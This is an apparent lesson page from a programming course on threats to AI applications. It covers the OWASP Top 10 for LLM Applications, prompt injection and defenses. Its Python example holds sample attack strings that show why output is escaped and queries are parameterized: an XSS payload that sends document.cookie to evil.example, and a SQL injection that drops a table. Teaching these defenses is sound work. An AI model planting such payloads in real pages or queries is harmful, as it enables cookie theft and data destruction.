Threats to AI Applications

Updated · 8 min read
mediumPython 3.13aisecurityowaspprompt-injectionllm-securitythreats

AI security is about protecting AI applications, and the people who use them, from attacks. AI apps have all the usual software risks plus new ones, because a language model follows instructions written in plain text, and can't reliably tell its developer's instructions from an attacker's. Anyone who can put text in front of the model, by typing it, hiding it in a web page or planting it in a document, may be able to steer what it says and does.

Where the Risks Come From

Part of the appDescription
User inputIt is used to send direct attacks: instructions that try to override the app's rules
Retrieved contentDocuments, web pages and emails can hide instructions (indirect injection)
The model's outputIt is used by other code: if inserted into web pages, SQL or commands without care, it can attack your own systems
Prompts and contextSecrets placed in the prompt can be pulled out by asking the right way
Training and fine-tuning dataIt can be poisoned, or can contain private data the model later repeats
Tools and agentsIt is used to take actions; an attacker who steers the model can misuse every tool it has
Supply chainDownloaded models, datasets and plugins can be tampered with

The OWASP Top 10 for LLM Applications

The OWASP Top 10 for LLM Applications, 2025 edition (shown as current on genai.owasp.org when checked on 2026-11-16):

IDRiskIn one line
LLM01Prompt InjectionInputs that change the model's behavior against the developer's intent
LLM02Sensitive Information DisclosureThe model reveals private data, secrets or confidential details
LLM03Supply ChainCompromised models, datasets, libraries or plugins
LLM04Data and Model PoisoningTampered training or fine-tuning data that plants bad behavior
LLM05Improper Output HandlingUsing model output in pages, queries or commands without checks
LLM06Excessive AgencyAgents with more tools, permissions or autonomy than they need
LLM07System Prompt LeakageSecrets or rules in the system prompt being exposed
LLM08Vector and Embedding WeaknessesAttacks on the retrieval layer of RAG systems
LLM09MisinformationConfident false output that people rely on
LLM10Unbounded ConsumptionRequests that run up huge costs or exhaust resources

Example: Model Output Is Untrusted Input

Two risks need no clever model at all, only careless code around it: improper output handling and unbounded consumption. This program shows both and their standard fixes.

Every arrow into or out of the model is a place to defend
Python
import html
 
# A model's reply is untrusted text, like anything a user types.
# Suppose an attacker tricked the model into including this in its answer:
reply = 'The library fee is $15. <img src=x onerror="fetch(\'https://evil.example/steal?c=\'+document.cookie)">'
 
unsafe_page = f"<p>{reply}</p>"                       # inserted into a web page as HTML
safe_page = f"<p>{html.escape(reply)}</p>"            # escaped: shown as text, never run
print("Unsafe:", unsafe_page[:70], "...")
print("Safe:  ", safe_page[:70], "...")
print("Script tag survives in unsafe page:", "onerror=" in unsafe_page and "<img" in unsafe_page)
print("Script tag survives in safe page:  ", "<img" in safe_page)
 
# The same rule applies to SQL, shell commands and file paths built from model output
question_from_model = "fees'; DROP TABLE students; --"
print("\nDangerous SQL:", f"SELECT * FROM faq WHERE topic = '{question_from_model}'")
print("Safe SQL uses a parameter: SELECT * FROM faq WHERE topic = ?  with value", repr(question_from_model))
 
# Unbounded consumption: cap what one request can cost
MAX_CHARS, MAX_TOKENS_OUT = 2000, 300
attack = "Repeat the word fee forever. " * 500
print(f"\nRequest of {len(attack):,} characters ->", "rejected" if len(attack) > MAX_CHARS else "accepted")
print("Every model call also sets max_new_tokens =", MAX_TOKENS_OUT)
Output
Unsafe: <p>The library fee is $15. <img src=x onerror="fetch('https://evil.exa ...
Safe:   <p>The library fee is $15. &lt;img src=x onerror=&quot;fetch(&#x27;htt ...
Script tag survives in unsafe page: True
Script tag survives in safe page:   False
 
Dangerous SQL: SELECT * FROM faq WHERE topic = 'fees'; DROP TABLE students; --'
Safe SQL uses a parameter: SELECT * FROM faq WHERE topic = ?  with value "fees'; DROP TABLE students; --"
 
Request of 14,500 characters -> rejected
Every model call also sets max_new_tokens = 300

Explanation:

  • A reply is just text from an untrusted source. If an attacker steers the model into writing an HTML tag with a script, and the app pastes the reply into a page, the script runs in parents' browsers and can steal their login cookies.
  • html.escape() turns < into &lt; and so on, so the browser shows the text instead of running it: the check prints False.
  • The same rule applies to SQL: never build a query by pasting in model text. A parameter (?) keeps the value as data, so DROP TABLE is just a strange topic name.
  • Limits stop unbounded consumption: a 14,500-character request is rejected before it reaches the model, and every call caps the reply length, so one user can't run up a huge bill.

The Core Defenses

DefenseProtects against
No secrets in promptsSystem prompt leakage and disclosure; secrets belong in code and secret stores
Screen inputs and retrieved contentSome direct and indirect injection
Check outputs before useInjection that got through, invented facts, leaked data, unsafe HTML
Least privilege for toolsExcessive agency; see "Securing Agents and Tools"
Human approval for risky actionsPayments, emails, deletions
Trusted sources and safe file formatsSupply chain attacks
Rate and size limitsUnbounded consumption
Logging, monitoring and red-teamingFinding new attacks before attackers do

Common Mistakes

Trusting the system prompt to keep secrets. Anything in the prompt can be extracted.

Rendering model output as HTML or running it as code. Escape it, or use it only as data.

Giving an assistant tools "just in case". Every tool is a new way to cause harm.

Testing only with friendly questions. Try attacks yourself, as "Prompt Injection and Jailbreaks" does.

Interview Corner

What makes LLM applications hard to secure?

The model treats all text as potential instructions, so attackers can steer it through user input, retrieved documents or tool results, and there is no complete filter for that. Security relies on layers: limiting what the model can see and do, checking its outputs, and human approval for risky actions.

Name three risks from the OWASP Top 10 for LLM Applications.

Prompt injection (LLM01), sensitive information disclosure (LLM02) and excessive agency (LLM06), for example. Others include improper output handling, system prompt leakage, supply chain, data and model poisoning, vector and embedding weaknesses, misinformation and unbounded consumption.

Practice

Exercise: threat-model an app. Pick an AI app you use or are building. List every place text enters the model and every place its output goes. For each, which OWASP risk applies, and which defense would you add first?

Check your understanding:

  1. Why is model output "untrusted input" for the rest of your app?
  2. What does html.escape() change, and why does that stop the attack?
  3. Why can't a filter alone stop prompt injection?

Quick check: threats to AI applications

4 questions
1Which risk is LLM01 in the 2025 OWASP list?
2What stopped the script in the model's reply from running?
3What defends against unbounded consumption?
4Where should secrets like API keys live?

Key Takeaways

Quick reference

NeedCode or practice
Show model text in a pagehtml.escape(reply)
Query with model textdb.execute("... WHERE topic = ?", (value,))
Cap a requestReject inputs over a size limit; set max_new_tokens
Keep secrets safeEnvironment variables or a secret store, never the prompt
Know the risksOWASP Top 10 for LLM Applications

Was this tutorial helpful?

Lesson 164 of 186